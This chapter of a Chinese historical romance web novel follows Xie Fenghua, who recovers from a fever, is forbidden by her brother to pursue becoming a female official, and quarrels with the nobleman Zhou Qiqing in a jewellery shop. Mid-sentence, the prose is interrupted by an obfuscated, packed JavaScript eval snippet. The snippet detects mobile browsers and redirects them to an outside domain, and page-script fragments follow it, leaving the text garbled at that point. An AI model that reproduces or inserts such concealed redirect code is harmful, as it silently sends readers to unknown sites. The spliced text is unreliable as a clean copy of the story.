谢逢华病倒了。
一连几日高烧不退,苦涩的草药不知滚了几次喉咙,浑浑噩噩躺了几天,依旧半分力气也无。
混沌中,谢逢华隐约窥见熟悉的身影在床边徘徊,下意识探手,虚虚揪住一叶衣角。
“爹,娘……”
梦中的爹娘对视一眼,轻轻握住她冰凉的手。
“……”
明玥将药碗洗干净,顺便将晾晒几天的衣裳收了,回房,谢怀世仍旧坐在床边。
这些时日,谢怀世几乎不眠不休,固执地守在妹妹身边。
犹记得谢怀世曾言,当年谢逢华尚在襁褓时,年幼的谢怀世便等在摇篮边,他说这样妹妹第一眼就能看到他。
明玥从箱中扯了件披风,披在他身上,“时候不早了,你明日还有早课,去洗把脸歇歇,这里有我看着。”
明暗交错间,谢怀世眸中晦暗不明,“倘若当年我未曾离家,谢家或许不会没落,你们或许不必受这些苦。”
说着,他一手拉起明玥的手,一手捧起谢逢华的手,声音隐隐发颤,“你瞧,你瞧,这两只手,何曾沾过阳春水?怪我当年一时任性,背井离乡,连带着你跟我吃了多少苦,如今至亲离我们而去,我却连一本书钱都让妹妹替我操心……”
明玥静静听完他的哭诉,眼底似有回忆涌动。
说不清懊悔还是耽于现状,亦或从她决定违背婚约和谢怀世逃到华京时,结局便已注定。
好半晌,明玥拍拍腰上颤抖的肩膀,道:“早些歇息罢,明日让学子们瞧见你这幅模样,还以为是素未谋面的师娘折辱你了。”
谢怀世离开后,明玥掩上门,落了锁,这才道:“他走了。”
谢逢华撑开红肿的眼皮,干涩的眼睛随着明玥的身影转动。
明玥端来一碗热汤,“醒了怎么不告诉他?”
撕裂般的痛感从喉间传来,谢逢华张口,声音几乎是从齿缝间析出,断断续续不成话。
明玥倒也没了听下去的意图,抚着她的手道:“好了,省省力气,待你好全再说也不迟。”
用了水,嗓子缓和不少,头依旧疼着。
谢逢华干脆闭目养神。
明玥坐在床边,借着烛火穿针引线。
空寂房间中,唯有针线穿过布匹沙沙的碎响。
“嫂嫂。”
“嗯?”
“兄长还在生我的气吗?”
“不知,明日待他下学,你当面问他。”
幼时兄妹大多和睦,却免不了为了一点小事争吵不休。
谢怀世一生气,就故意冷落谢逢华,不理不睬晾上一两日,谢逢华耐不住寂寞,便捧着池塘边摘来的野花野草,敲响谢怀世的房门。
这时,谢怀世打开门,一边埋怨花中有虫蚁,一边将瓷瓶中枯萎的花草扔掉,换上新鲜芳草。
其实那时的谢逢华并不知错在谁,也不知哥哥因何而气。
只是除了爹娘,家中便只有哥哥愿意陪她,除了宅门,谢逢华只能孤零零去河边摘花编花环。
到了读书识字的年纪,家中请不起教书先生,谢怀世亲自上阵,日日领着她念那些晦涩难懂的书本。
第一堂课,谢逢华问道:“为何要读书?”
谢怀世头也不抬道:“考科举,坐高堂,为君分忧,为民请命。”
谢逢华道:“我也可以考科举吗?”
谢怀世摸摸她的脑袋,道:“你可以做个女夫子,教书育人,桃李天下。”
谢逢华眼睛一亮,拍案而起:“我要当女夫子,我要吃好多桃子和李子!”
谢怀世:“……”
时过境迁,兄长科举名落孙山,为了糊口,经友人推举,成了一个学堂的教书先生。
谢逢华好不容易定下的亲事因未婚夫早亡不告而终,爹娘也先后离去,不得已,只得投奔远在华京的兄长。
“之后,你想做什么?”
谢逢华看向明玥。
火苗摇摆不定,曾经光鲜亮丽的富家千金如今沦为农家妇人,时光易逝,却将少女时的温婉贤淑深深镌刻她的眉宇间。
谢逢华把头埋进被子里,无力而又坚定道:“我想做女官。”
“不成。”
谢逢华的嘴角立刻耷拉下来。
谢怀世剥开鸡蛋,放进谢逢华碗中,道:“世道不太平,安分守己才是正途。”
“我不是为了钱。”谢逢华执着道。
“为了天下苍生还是雄心壮志?”谢怀世语气严肃,“应时,与梁国的战事才平不久,朝廷动荡不安,人心向背,此时你去了,和白送命又有何异?”
“应时,我只有你这一个妹妹,你若出了差池,我还有何颜面见咱爹娘?”
碗中的米汤飘着一点油星,谢逢华低着头,闷闷地不再说话。
谢怀世走后,明玥同情地拍拍谢逢华薄弱的脊背,道:“还记得你兄长曾有个在朝中当官的好友吗?他因一言之差得罪当朝宰相,被贬千里之外,再无起复可能。后来家中遭难,他本人也客死他乡,下场何其凄惨。”
言至于此,明玥轻叹:“自公婆意外离世,你又险些丢了性命,济民整日担惊受怕,他所言之事,未尝不无道理。”
为了使谢逢华养好身子,谢怀世没收了她的书本,藏于柜中并落了锁。
没了读书作消遣,谢逢华在院子里溜达了几圈,明玥实在看不下去,派她去给黄米放饭。
黄米埋头苦吃,谢逢华蹲在狗窝旁,出神地望着它。
真羡慕它啊,不愁吃喝,不愁生计,只要向主人摇摇尾巴,狗盘里永远有足够充饥的剩饭。
“应时。”
明玥提着一竹篮出来,“走,我们入城。”
今日阳光正好,街市熙熙攘攘,吆喝声此起彼伏。
明玥不买吃食不买物什,带着谢逢华穿过大街小巷,最后进了一家头面铺。
甫一进门,正在对账的老板娘像是见到了恩人,扭着腰肢迎上来,“明娘子,可算将您盼来了。”
明玥将篮子递给她,道:“今日铺子里倒是清闲。”
“明娘子就别笑话我了,这铺子啊,全靠您的手艺撑着。”老板娘视线落在明玥身后,道,“这位是……”
“是我夫君的妹妹。”明玥侧身,对谢逢华道,“这位是我的手帕交,唤她崔姨便可。”
谢逢华乖乖唤了人。
崔兰笑弯了眼:“真是个亭亭玉立的孩子,你若不嫌弃,崔姨这里的首饰随便拿,只当自家。”
崔姨拉着明玥说东道西,说着说着二人便躲去里屋了。
谢逢华落了单,顿然无聊,便在铺子里转悠。
“兄长,就是这里!”
一声欢快的女声打破铺子里的平静。
旋即,一男一女踏入铺中。
谢逢华无意瞥了眼来客,瞳孔骤然紧缩。
“非来此地不可?”
周其卿无奈看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533600|186445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着周燕飞,“香缨随处可买,为何非要跑这么远?”
“这家的香缨比别家精致,绣工独一无二,香料的香气全华京找不出第二种替代品,可惜半年才出那么十几个,根本买不到。”
周其卿嗤笑:“哪有什么无可替代,不过是店家的手段罢了。”
周燕飞与他争论几句,吵着吵着自己先生了气,不再理他。
周其卿抚鼻笑笑,一转眼,正撞见一双不善的眼眸。
“哎,你!”
周燕飞也看见了谢逢华,朝她招招手,道:“燕啼春还有吗?”
是把她当成店小二了?
谢逢华看了眼小娘子身后的周其卿,摇头。
周燕飞面露失望之色,转而对周其卿道:“你瞧,我才来,那香缨便没货了。”
周其卿抱臂,目光直勾勾审视着谢逢华。
谢逢华还拧着气,不愿多理,欲去里屋唤崔姨出来。
周其卿倏然道:“这位娘子,看着脸熟,我们可曾见过?”
“公子认错人了。”谢逢华避开他的目光,径直朝里屋走去。
崔姨出来迎客,听到周燕飞要燕啼春,道:“哎呦,赶得巧,赶得巧啊。”
说着,崔姨从明玥挎来的竹篮中寻觅一番,翻出一个绣着一只飞燕的樱色香缨。
“您瞧瞧,这可是刚进来的货。”
趁着崔姨还在宣扬推销,谢逢华悄悄靠近竹篮,探头张望,才发现竹篮里是各色各样的香缨。
幽香自竹篮而出,如野花,如清风,令人心旷神怡。
周燕飞欣喜若狂,踮起脚尖,香缨举到他鼻尖,“哥哥,你闻。”
周其卿收回视线,蹙眉,向后推了几步,避开香缨,“不过如此。”
“哥哥就是扫兴!”周燕飞取荷包结账,旋即甩开周其卿,捧着香缨蹦蹦跳跳地离开了。
崔姨对谢逢华道:“应时,崔姨新酿了桃花酒,要不要进去小酌一杯。”
“崔姨,我不饮酒。”
“糖糕呢?”
“可以。”
“好,我去后厨给你拿。”
崔姨离开后,谢逢华倏然松了口气。
“应时?是你的小字吗?”
谢逢华猛然抬头看向他,不情不愿道:“与你无关。”
“拿钱不认人,你倒是绝情。”周其卿随手拾起一枚银簪,百无聊赖地捏在指间把玩。
见被认出,谢逢华也没了顾虑,尤其听闻周其卿满含指责的话语,气恼地挺直了腰板,道:“论绝情,周世子当之无愧。”
周其卿挑眉,神态自若:“钱我按约定给你了,你东西不给我便罢了,怎还倒打一耙?”
“你何时给我钱了?”忆起那日的狼狈,谢逢华气不打一处来,“倒是你,专挑了个好日子戏耍我,我竟不知周世子是如此背信弃义的小人!”
周其卿头一次被人没头没脑骂的狗血淋头,愤然将手头物什往筐子一丢,震得里面东西叮当响。
“戏耍你?本世子费心费力替你保管坠子,你倒好,东西不给我便罢了,还给本世子扣好大一顶帽子,本世子简直瞎了眼才觉得你可怜!”
“谁需要你同情?少自作多情!”谢逢华死死盯着周其卿,藏在袖中的手抖如筛糠。
“好,好,好。”周其卿指着谢逢华,怒极反笑,“日后,就算你求我,我也不可能再对你心软一次!”
撂下话,周其卿愤怒甩袖,摔门而去。